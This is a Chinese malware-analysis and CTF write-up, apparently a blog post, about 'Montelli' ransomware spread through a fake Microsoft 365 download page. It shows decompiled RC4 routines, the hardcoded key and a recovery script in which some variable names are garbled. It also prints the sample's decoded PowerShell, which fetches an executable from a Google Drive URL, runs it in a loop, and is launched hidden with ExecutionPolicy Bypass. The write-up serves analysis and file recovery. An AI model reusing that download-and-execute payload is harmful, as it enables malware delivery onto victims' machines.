病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!

1.背景

该CTF挑战题目完整复现了黑客的攻击链路,攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后,在点击“Windows Installer (64-bit)”下载选项时,页面会自动跳转至伪造的 GitHub 项目链接,并下载加密器的恶意程序。

伪造Microsoft 365官网

受害者双击运行该程序后,勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸,通过调用api遍历文件,判断文件后缀是否为.Montelli,加密完文件后创建一个被加了勒索后缀的文件,从而完成攻击链闭环。(目前该服务器已关停,无法访问该图片)

远程服务器:https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png

定制图片

在所有文件被添加.Montelli后缀后,会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址 。

翻译:

噢,不!你的文件被劫持了!

亲爱的极其不幸的电脑用户,

我们很遗憾地通知你,你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕!你可以找回他们!

如何恢复它们?

不要害怕,我亲爱的用户,

你可以简单地在Pi网络中支付我们1337美元,我们已经为你提供了我们Pi网络钱包的地址,只要转账给我们1337,我们会给你发送你的解密密钥

发送1337$到此Pl网络地址,否则您的所有数据将被删除!!

2.恶意文件基础信息

2.1 加密器基本信息

文件名office64
编译器Microsoft Visual C/C++(19.36.34435)[LTCG/C++]
大小300 KB
操作系统Windows(Vista)[AMD64, 64位, Console]
架构386
模式64 位
类型EXEC
字节序LE
MD5b7da7b88697e543da7c734ff276b5fe2
SHA10f9429137d002162c3cf00df80ff352333a715da
SHA25609faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3

3.加密后文件分析

3.1威胁分析

病毒家族Montelli
首次出现时间/捕获分析时间2025/02/28 || 2025/03/7
威胁类型勒索软件,加密病毒
加密文件扩展名.Montelli
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.Montelli)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

具体内容:

加密文件名特征:

加密文件名 = 原始文件名+Montelli,例如:sierting.txt.Montelli

加密算法:

文件加密使用rc4算法,密钥嵌入加密器中。

rc4密钥生成:
KEY:

1

FLAG{s1mpl3_3nCrYpt1on_

程序执行流程:

4逆向分析

4.1加密器逆向分析

4.1.1RC4_KSA函数

根据rc4密钥初始化s数组

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

__int64 __fastcall sub_140002E70(unsigned __int64 a1, _QWORD *a2)

{

  char *v3; // rbp

  __int64 n256; // rsi

  __int64 v6; // rdx

  unsigned __int64 n0x100; // rcx

  char *v8; // rax

  unsigned __int64 v9; // rbx

  __int64 v10; // rdx

  __m128i si128; // xmm3

  int n256_1; // ecx

  __int64 v13; // rdx

  __m128 v14; // xmm2

  unsigned int n8; // ecx

  __int64 n8_1; // r8

  unsigned int v17; // eax

  __m128i v18; // xmm0

  __m128i v19; // xmm1

  __m128i v20; // xmm0

  __m128i v21; // xmm1

  __m128i v22; // xmm0

  __m128i v23; // xmm0

  __m128i v24; // xmm0

  __m128i v25; // xmm1

  __m128i v26; // xmm1

  __int64 v27; // r8

  unsigned __int64 v28; // r9

  _QWORD *v29; // rcx

  __int64 v30; // r10

  int v31; // eax

  char v32; // cl

  __int64 v33; // rdx

  __int64 result; // rax

  v3 = *(char **)(a1 + 8);

  n256 = 256LL;

  v6 = *(_QWORD *)a1;

  n0x100 = (unsigned __int64)&v3[-*(_QWORD *)a1];

  if ( n0x100 <= 0x100 )

  {

    if ( n0x100 >= 0x100 )

      goto LABEL_8;

    if ( (unsigned __int64)(*(_QWORD *)(a1 + 16) - v6) < 0x100 )

    {

      sub_140008E60(a1);

      goto LABEL_8;

    }

    v9 = 256 - n0x100;

    memset(v3, 0, 256 - n0x100);

    v8 = &v3[v9];

  }

  else

  {

    v8 = (char *)(v6 + 256);

  }

  *(_QWORD *)(a1 + 8) = v8;

LABEL_8:

  v10 = *(_QWORD *)a1;

  si128 = _mm_load_si128((const __m128i *)&xmmword_14000D850);

  n256_1 = 0;

  if ( *(_QWORD *)a1 > a1 || *(_QWORD *)a1 + 255LL < a1 )

  {

    v14 = (__m128)_mm_load_si128((const __m128i *)&xmmword_14000D860);

    n8 = 8;

    n8_1 = 8LL;

    do

    {

      n8_1 += 16LL;

      v17 = n8 + 4;

      v18 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v14);

      v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v14);

      v20 = _mm_packus_epi16(v18, v18);

      v21 = _mm_packus_epi16(v19, v19);

      *(_DWORD *)(v10 + n8_1 - 24) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));

      *(_DWORD *)(v10 + n8_1 - 20) = _mm_cvtsi128_si32(_mm_packus_epi16(v21, v21));

      v22 = _mm_cvtsi32_si128(n8);

      n8 += 16;

      v23 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v22, 0), si128), v14);

      v24 = _mm_packus_epi16(v23, v23);

      v25 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v17), 0), si128), v14);

      *(_DWORD *)(n8_1 + v10 - 16) = _mm_cvtsi128_si32(_mm_packus_epi16(v24, v24));

      v26 = _mm_packus_epi16(v25, v25);

      *(_DWORD *)(v10 + n8_1 - 12) = _mm_cvtsi128_si32(_mm_packus_epi16(v26, v26));

    }

    while ( (int)(n8 - 8) < 256 );

  }

  else

  {

    v13 = 0LL;

    do

      *(_BYTE *)(++v13 + *(_QWORD *)a1 - 1) = n256_1++;

    while ( n256_1 < 256 );

  }

  *(_DWORD *)(a1 + 28) = 0;

  v27 = 0LL;

  v28 = 0LL;

  do

  {

    v29 = a2;

    if ( a2[3] > 0xFuLL )

      v29 = (_QWORD *)*a2;

    v30 = *(_QWORD *)a1;

    v31 = (*(_DWORD *)(a1 + 28) + *(unsigned __int8 *)(*(_QWORD *)a1 + v27) + *((unsigned __int8 *)v29 + v28 % a2[2]))

        % 256;

    *(_DWORD *)(a1 + 28) = v31;

    ++v28;

    v32 = *(_BYTE *)(v30 + v27);

    v33 = v31;

    result = *(unsigned __int8 *)(v31 + v30);

    *(_BYTE *)(v30 + v27++) = result;

    *(_BYTE *)(v33 + v30) = v32;

    --n256;

  }

  while ( n256 );

  *(_QWORD *)(a1 + 24) = 0LL;

  return result;

}

4.1.2RC4加密函数

根据输入的s数组对输入的数据进行加密,由于加密完成后未对S盒进行重置操作,因此会导致如下问题

加密存在BUG:

在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

// Hidden C++ exception states: #wind=3

_QWORD *__fastcall sub_140003060(__int64 *a1, _QWORD *a2, char *a3)

{

  char *v3; // r14

  unsigned __int64 n0xF; // rax

  char *v7; // rdi

  char *v8; // rcx

  char *v9; // rbp

  char v10; // r9

  int v11; // eax

  __int64 v12; // rdx

  unsigned __int8 *v13; // r8

  int v14; // eax

  unsigned __int8 *v15; // rdx

  unsigned __int8 v16; // cl

  char v17; // r9

  unsigned __int64 n0xF_2; // rcx

  unsigned __int64 n0xF_1; // rdx

  _QWORD *v20; // rax

  v3 = a3;

  *(_OWORD *)a2 = 0LL;

  a2[2] = 0LL;

  a2[3] = 15LL;

  *(_BYTE *)a2 = 0;

  n0xF = *((_QWORD *)a3 + 2);

  if ( n0xF > 0xF )

  {

    sub_140007F10(a2);

    a2[2] = 0LL;

    n0xF = *((_QWORD *)v3 + 2);

  }

  if ( *((_QWORD *)v3 + 3) <= 0xFuLL )

  {

    v7 = v3;

    v8 = v3;

  }

  else

  {

    v7 = *(char **)v3;

    v8 = *(char **)v3;

    v3 = *(char **)v3;

  }

  v9 = &v8[n0xF];

  if ( v3 != &v8[n0xF] )

  {

    do

    {

      v10 = *v7;

      v11 = (*((_DWORD *)a1 + 6) + 1) % 256;

      *((_DWORD *)a1 + 6) = v11;

      v12 = *a1;

      v13 = (unsigned __int8 *)(*a1 + v11);

      v14 = (*((_DWORD *)a1 + 7) + *v13) % 256;

      *((_DWORD *)a1 + 7) = v14;

      v15 = (unsigned __int8 *)(v14 + v12);

      v16 = *v13;

      *v13 = *v15;

      *v15 = v16;

      v17 = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(*((int *)a1 + 6) + *a1) + *(_BYTE *)(*((int *)a1 + 7) + *a1)) + *a1) ^ v10;

      n0xF_2 = a2[2];

      n0xF_1 = a2[3];

      if ( n0xF_2 >= n0xF_1 )

      {

        sub_140008190(a2, n0xF_1, *a1, v17);

      }

      else

      {

        a2[2] = n0xF_2 + 1;

        v20 = a2;

        if ( n0xF_1 > 0xF )

          v20 = (_QWORD *)*a2;

        *((_BYTE *)v20 + n0xF_2) = v17;

        *((_BYTE *)v20 + n0xF_2 + 1) = 0;

      }

      ++v7;

    }

    while ( v7 != v9 );

  }

  return a2;

}

4.1.3壁纸替换函数

将自带的字符串解码后并执行

解码后结果如下,该代码的作用是在远程加载一个图片并当作壁纸

$imageUrl = "https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png"
\r\n
$desktopPath = [Environment]::GetFolderPath("Desktop")
\r\n
$outputFile = Join-Path -Path $desktopPath -ChildPath "hacked.png"
\r\n
Invoke-WebRequest -Uri $imageUrl -OutFile $outputFile
\r\n
Add-Type -TypeDefinition @"
\r\n
using System;
\r\n
using System.Runtime.InteropServices;
\r\n
public class Wallpaper {
\r\n
[DllImport("user32.dll", CharSet = CharSet.Auto)]
\r\n    
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
\r\n    
public const int SPI_SETDESKWALLPAPER = 0x0014;
\r\n    
public const int SPIF_UPDATEINIFILE = 0x01;
\r\n    
public const int SPIF_SENDCHANGE = 0x02;
\r\n
}
\r\n
"@
\r\n\r\n
[Wallpaper]::SystemParametersInfo([Wallpaper]::SPI_SETDESKWALLPAPER, 0, $outputFile, [Wallpaper]::SPIF_UPDATEINIFILE -bor [Wallpaper]::SPIF_SENDCHANGE)
\r\n\r\n
$executeURL = "https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa"
\r\n
$tempFilePath = "$env:TEMP\\run.exe"
\r\n
if (-Not (Test-Path $tempFilePath)) {
\r\n    
Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath
\r\n}
\r\n
\r\n
while ($true) {
\r\n    
# Start the process
\r\n    
$process = Start-Process -FilePath $tempFilePath -PassThru
\r\n    
\r\n    
# Wait for the process to exit
\r\n    
$process.WaitForExit()
\r\n    
\r\n    
# Optional delay before restarting
\r\n    
Start-Sleep -Seconds 0
\r\n}

将这个写入C:\\Users\\username\\dosomething.ps1

并执行如下poweshell指令,隐藏窗口执行上面的替换壁纸的代码

1

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\\Users\\username\\dosomething.ps1

4.1.4文件遍历

调用api遍历文件

判断后缀是否为.Montelli

加密完文件后创建一个被加了勒索后缀的文件,然后写入加密内容

删除原文件

4.1.5多线程启动加密

使用多线程异步执行加密

5.恢复脚本制作

恢复思路如下:调用rc4算法使用密钥FLAG{s1mpl3_3nCrYpt1on_对加密文件解密。

但是由于该加密器加密存在bug:在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件,恢复代码如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

class RC4:

    def __init__(self, key):

        """初始化 RC4 状态"""

        self.S = list(range(256))  # 初始化 S 数组

        = 0

        # 密钥调度算法 (KSA)

        for in range(256):

            = (j + self.S[i] + ord(key[i % len(key)])) % 256

            self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]

    def decrypt(self, ciphertext):

        """解密函数"""

        = = 0

        plaintext = []

        # 伪随机生成算法 (PRGA)

        for byte in ciphertext:

            = (i + 1% 256

            = (j + self.S[i]) % 256

            self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]

            = self.S[(self.S[i] + self.S[j]) % 256]

            plaintext.append(byte ^ k)  # 异或操作

        return bytes(plaintext)

def rc4_decrypt_file(input_file, output_file, key):

    """解密文件"""

    # 读取加密文件

    with open(input_file, "rb") as f:

        ciphertext = f.read()

    # 初始化 RC4

    rc4 = RC4(key)

    # 解密数据

    plaintext = rc4.decrypt(ciphertext)

    # 写入解密后的文件

    with open(output_file, "wb") as f:

        f.write(plaintext)

# 示例用法

key = "FLAG{s1mpl3_3nCrYpt1on_"

input_file = ""  # 加密文件路径

output_file = ""  # 解密文件路径

rc4_decrypt_file(input_file, output_file, key)

print(f"文件已解密,保存到 {output_file}")

6.病毒分析概览

本案例中,Montelli勒索软件因硬编码密钥暴露(FLAG{s1mpl3_3nCrYpt1on_)导致可以对被加密文件进行解密,但是由于RC4加密实现缺陷(S盒单次初始化+状态污染)导致加密漏洞,结合其只能解密小部分文件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值